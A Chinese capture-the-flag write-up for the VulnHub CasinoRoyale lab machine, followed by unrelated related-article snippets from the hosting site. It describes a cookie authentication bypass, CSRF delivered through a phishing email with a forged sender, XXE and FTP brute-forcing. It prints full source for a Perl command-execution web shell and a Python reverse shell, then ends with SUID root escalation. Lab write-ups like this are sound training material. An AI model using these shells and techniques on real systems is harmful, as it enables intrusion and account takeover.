CasinoRoyale靶机练习实践报告

CasinoRoyale靶机练习实践报告

下载地址:

  • https://drive.google.com/open?id=1FYP246L63zShV00wOckAQ5F5XJ4HkZ0L
  • https://download.vulnhub.com/casinoroyale/CasinoRoyale.ova
  • https://download.vulnhub.com/casinoroyale/CasinoRoyale.ova.torrent ( Magnet)

1 安装靶机

靶机是.ova文件,需要用VirtualBox打开,但我习惯于使用VMWare,因此修改靶机文件,使其适用于VMWare打开。

解压ova文件,得到.ovf文件和.vmdk文件。

img

2 夺旗步骤

第一步:IP扫描,端口扫描,定位靶机的IP地址未192.168.81.133。

img

端口扫描,发现靶机开放端口21、25、80、8081。

img

第二步:目录扫描、域名扫描

img

对IP地址做目录爆破,发现5个可访问地址,逐个访问,发现一个需要用户口令的phpmyadmin地址,用常规口令爆破,失败。用nikto继续做域名发现。

img

对扫描发现的地址逐个查看,未有直接可利用信息。注意nikto攻击提示了一个可能存在的安全问题,经过排查并没法发现可利用。但是有个在192.168.81.133:80/index.php地址有个提示信息,说要用域名访问”casino-royale.local”,不管有没有用,先把该映射关系添加到hosts中。对8081端口做同样的扫描,没有什么重要发现。

img

img

我们在页面的底部发现该网站用了PokerMax Poker 0.13,去exploitdb中搜一下历史漏洞,查看相关漏洞文件6766.txt。

img

img

访问对应configure.php地址,然后在浏览器的console中执行javascript:document.cookie=”ValidUserAdmin=admin”;再次访问configure.php,就可以绕过口令登陆,我们从浏览器中看到的请求报文如下图所示,带上了cookie–>”ValidUserAdmin:admin”。

img

再次访问configure.php界面如下图所示,获得用户名密码。

img

用改密码去登陆phpmyadmin界面失败。继续搜索其他标签页,在Manage Players中发现一个用户,查看他的具体信息。

img

img

提示我们用casino-royale.local域名访问/vip-client-portfolios地址。我们发现该地址也有注册登陆接口,用之前获取的口令尝试,失败,继续查看其他内容,有一篇给新用户的博文写道要用已知的用户发送邮件给valenka@casino-royale.local,他会马上查看,而且会点击links。看起来没什么用,除非能发一个钓鱼邮件给他。

img

思考该网站是否使用了开源框架,该网站使用了Snowfox CMS,在exploitdb中搜索历史漏洞。果然发现了一个csrf漏洞,虽然不知道该网站使用的Snowfox CMS版本,还是试试。

img

根据漏洞描述问题提示去利用,在本机搭建一个apache服务,并将利用html文件放在/var/www/html/目录下,在本地尝试是否可以通过http://ip/CasinoRoyal.html访问该页面。下图标记处exp中需要修改的地方。

img

我们在端口扫描时知道靶机上开放了smtp服务,通过命令行发送邮件给valenka@casino-royale.local,在邮件中添加网址http://ip/CasinoRoyal.html,当valenka点击该地址就会触发创建admin账户,注意,邮件的发送者必须伪造成已知用户。

img

用新创建的admin账户登陆,逐个功能点查看,在账户里发现一个新的地址。

img

img

查看地址/ultra-access-view/main.php的页面源码,发现提示。正好是刚刚学习过的xxe漏洞,提示还说要用post方式传参。还有一句提示说ftp是弱口令。

img

利用hackbar攻击,失败。请教了大神才知道hackbar会对参数做一次url编码,导致后台不认。

img

直接在burp中利用,获取ftp的用户名。为什么在这里想获取口令,而不是直接命令执行获取flag。因为题目告诉我们flag在/root/flag/flag.sh中,通过网站的用户获取权限不够。

img

我们发现ftpUserULTRA是ftp用户名,前面提示过ftp是弱口令,所以爆破咯。而且访问ftp的页面地址也给出来了,是/ultra-access-view。

img

当然是ftp登陆上去查看一番。

img

  • 直接上传一个php木马,然后通过网页访问触发,提示550 permission deny;

  • 上传一个perl木马,然后通过网页触发访问

    • 记得要给脚本可执行权限,否则执行失败
    • Perl脚本还不能直接执行tcp来反弹shell,提示”apache can’t access tty; job control turned off”

img

Perl脚本分享

#!/usr/bin/perl

# PerlKit-0.1 - http://www.t0s.org

# cmd.pl: Run commands on a webserver

use strict;

my ($cmd, %FORM);

$|=1;

print “Content-Type: text/html\r\n”;

print “\r\n”;

# Get parameters

%FORM = parse_parameters($ENV{‘QUERY_STRING’});

if(defined $FORM{‘cmd’}) {

$cmd = $FORM{‘cmd’};

}

print '

';if(defined $FORM{'cmd'}) {print "Results of '$cmd' execution:\n\n";print "-"x80;print "\n";open(CMD, "($cmd) 2>&1 |") || print "Could not execute command";while() {​    print;}close(CMD);print "-"x80;print "\n";}print "
";

sub parse_parameters ($) {

my %ret;

my $input = shift;

foreach my $pair (split(‘&’, $input)) {

​ my ($var, $value) = split(‘=’, $pair, 2);

​ if($var) {

​ $value =~ s/+/ /g ;

​ $value =~ s/%(…)/pack(‘c’,hex($1))/eg;

KaTeX parse error: Expected '}', got 'EOF' at end of input: ret{var} = $value;

​ }

}

return %ret;

}

终于getShell了。

img

权限不够,提权,linux内核提权失败。在各个目录下扫荡,发现关键目录/opt/casino-royale,逐个查看文件,在php-web-start.sh中看到了8081端口,访问看看。

img

img

img

右键查看源码,发现点击data collect按钮会触发collect.php执行,而该php文件会执行casino-data-collection.py。我们唯一能操作的文件就是该py文件,写一个python shell就可以获得用户le的shell,虽然还不是root用户的shell,试试也无妨。

当前shell竟然无法使用vim编辑器,发现大神一篇介绍shell的文章,醍醐灌顶。https://www.anquanke.com/post/id/86444。直接升级netcat的方式尝试失败,使用socat的方式,在已有的shell中再次反弹shell。

img

终于可以使用vim了,下面是python的反弹shell脚本内容。

Import socket,subprocess,os;

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);

s.connect((“127.0.0.1”,1234));os.dup2(s.fileno(),0);

os.dup2(s.fileno(),1);

os.dup2(s.fileno(),2);

p=subprocess.call([“/bin/sh”,“-i”]);

在页面上点击按钮,获得le的shell。

img

获取le的shell后,查看close2root.txt,出现一个网址,但是没有特别的内容。

继续查看其他文件,mi6_detect_test是elf格式,它是root所有,且设置了s位,执行看看,发现它调用了run.sh,而run.sh是le有权限改的,在该文件末尾打开一个shell,那就是root权限!!!

img

img

root权限get!!!

执行/root/flag/flag.sh,根据提示获取flag。

img

3 总结

  1. 遇到网站务必要看是否使用框架,找框架漏洞,靶机涉及Poker和SnowFox两个框架漏洞
  2. 熟练掌握常见web漏洞利用手法。靶机涉及到xxe漏洞、文件上传漏洞、弱口令、csrf漏洞、不安全的cookie
  3. 储备好webshell等弹药库。靶机涉及python webshell、perl webshell、php webshell(没成功)
  4. 掌握shell提权的方式,如反弹shell变成可交互的shell,普通shell提权为root权限shell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/3957.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Java Spring MVC项目异常解决】HTTP 500

HTTP 500状态码表示“内部服务器错误”(Internal Server Error)。这是一个通用的错误响应,表明服务器在处理请求时遇到了预料之外的情况,导致无法完成请求。500错误是服务器端错误的一种,与客户端无关。在Web开发中&am…

强化SSH服务安全的最佳实践

SSH(Secure Shell)作为一种广泛应用于Linux和其他类Unix系统中的强大工具,为管理员提供了安全的远程登录和命令执行功能。在现今高度互联的网络环境中,确保SSH服务的安全性显得尤为重要。本文将详细阐述一系列SSH服务的最佳实践&a…

【LangChain系列 12】Prompt模版——序列化

本文速读: PromptTemplate FewShotPromptTemplate 通常prompt以文件形式存储比python代码更好,一方面可以更容易共享、存储。本文将介绍在LangChain中如何对prompt以不同的方式序列化。 一般来说,对于序列化有以下两个设计原则&#xff1a…

吴恩达机器学习笔记:第 8 周-13 聚类(Clustering)13.3-13.5

目录 第 8 周 13、 聚类(Clustering)13.3 优化目标13.4 随机初始化13.5 选择聚类数 第 8 周 13、 聚类(Clustering) 13.3 优化目标 K-均值最小化问题,是要最小化所有的数据点与其所关联的聚类中心点之间的距离之和,因此 K-均值的代价函数(又…

《微信公众号开发---一站式开发流程完整版本》 测试公众号账号及本地环境搭建/验证本地编写的代码,接入微信指南请求测试正常

文章目录 目录 文章目录 安装流程 小结 概要安装流程技术细节小结 概要 1.准备工作 1.需要先登录微信公众号平台:微信公众平台 注册如果是公司开发请注册服务号,个人开发请注册订阅号 2.注册完成,需要开通认证 2.以上操作完成&#xff0c…

通信原理(2)--随机过程

通信原理(2)–随机过程 3.1随机过程的基本概念 随机过程{x(t)}由一族时间函数 x i ( t ) x_i(t) xi​(t),i1,2.3…组成,每一个时间函数 x i ( t ) x_i(t) xi​(t)称为随机过程{x(t)}的一个样本函数(一个实现) 每个样本函数在时间…

ASP.NET某企业信息管理系统的设计与实现

摘 要 信息管理系统就是我们常说的MIS(Management Information System),它是一个计算机软硬件资源以及数据库的人-机系统。经过对题目和内容的分析,选用了Microsoft公司的ASP.NET开发工具,由于它提供了用于从数据库中访问数据的强大工具集,使用它可以建立开发比较完善的数据库…

《2024年绿色发展报告》:算力与电力矛盾愈加突出!

2024年4月22日,第55个世界地球日,超聚变发布《2024年绿色发展报告》,向社会展示超聚变面对宏观形势变化、产业趋势变化,推进绿色发展、科技向绿的探索与实践成果。 2023年,算力产业发生了深刻变化。大模型带来AI算力需…

Git如何配合Github使用

1.安装Git https://git-scm.com/ ##2.配置 Git 安装完成后,你需要设置 Git 的用户名和邮箱地址,这样在提交代码时就能知道是谁提交的。你可以在命令行中输入以下命令来配置: git config --global user.name "Your Name" git con…

探索UTONMOS《神念无界-源起山海》元宇宙游戏的奇幻世界

在科技的前沿,元宇宙游戏如同一扇神秘的大门,缓缓开启,引领我们进入一个前所未有的奇幻世界。 UTONMOS《神念无界-源起山海》元宇宙游戏是数字世界的巅峰之作,它打破了现实与虚拟的界限,让玩家能够身临其境地体验各种奇…

U盘格式转换GPT格式转回DOS

当前格式 fdisk /dev/sdb# 在 fdisk 提示符下,输入以下命令删除分区: d # 选择要删除的分区编号(如 1、2 等) w开始转换 [rootnode-24 ~]# fdisk /dev/sdbWelcome to fdisk (util-linux 2.37.4). Changes will remain in memory o…

[笔试训练](八)

目录 022:求最小公倍数 023:数组中的最长连续子序列 024:字母收集 022:求最小公倍数 求最小公倍数_牛客题霸_牛客网 (nowcoder.com) 题目: 题解: 求最小公倍数公式:lcm(a,b)a*b/gcd(a,b)&am…

Android使用ProtoBuf 适配 gradle7.5 gradle8.0

ProtoBuf 适配 Gradle7.5 gradle-wrapper.properties 配置 distributionUrlhttps\://services.gradle.org/distributions/gradle-7.5-bin.zipProject:build.gradle: plugins {id com.android.application version 7.4.2 apply falseid com.android.library versio…

星尘智能 AI 机器人 S1——国产机器人的巅峰之作

AI智能机器人真的太炸裂了 国产科技威武-CSDN直播AI智能机器人真的太炸裂了 国产科技威武https://live.csdn.net/v/382519 最近发现了一个国产的机器人,真的让人惊叹不已!它就是星尘智能 AI 机器人 S1! 这个机器人简直太牛逼了!…

elaticsearch windows安装

es下载地址 https://www.elastic.co/cn/downloads/elasticsearch https://www.elastic.co/cn/downloads/past-releases#elasticsearch 在这里插入图片描述 下载直接解压,解压后目录 双击bin目录下的elasticsearch.bat开启服务 注意:9300 端口为 Elas…

03 spring-boot+mybatis+jsp 的增删改查的入门级项目

前言 主要是来自于 朋友的需求 项目概况 就是一个 用户信息的增删改查然后 具体到业务这边 使用 mybatis xml 来配置的增删改查 后端这边 springboot mybatis mysql fastjson 的一个基础的增删改查的学习项目, 简单容易上手 前端这边 jsp 的 基础的试题的增删改查 学习项…

Android使用AlertDialog实现弹出菜单

最近又开始捣鼓APP,许多api , class都忘记怎么用了,楼下使用AlertDialog实现个弹出菜单,结果直接crash,查了半天,终于即将,记录一下…… 1 实现代码 AlertDialog.Builder mBuilder new AlertDialog.Builde…

MySQL B+索引的工作原理及应用

引言 在数据库系统中,索引是优化查询、提高性能的关键技术之一。特别是在MySQL数据库中,B树索引作为最常用的索引类型,对数据库性能有着至关重要的影响。本文旨简单解析MySQL中B树索引的工作原理,帮助学生朋友们更好地理解和利用…

微信小程序实时日志使用,setFilterMsg用法

实时日志 背景 为帮助小程序开发者快捷地排查小程序漏洞、定位问题,我们推出了实时日志功能。开发者可通过提供的接口打印日志,日志汇聚并实时上报到小程序后台。开发者可从We分析“性能质量->实时日志->小程序日志”进入小程序端日志查询页面&am…

嵌入式学习Day18

一、输入两个数,实现排序 代码: #!/bin/bashread -p "please enter n m:" n m if [ $n -gt $m ] thentemp$nn$mm$temp fi echo $n $m运行结果 二、输入一个数判断是否水仙花数 代码: echo narcissistic number read -p "p…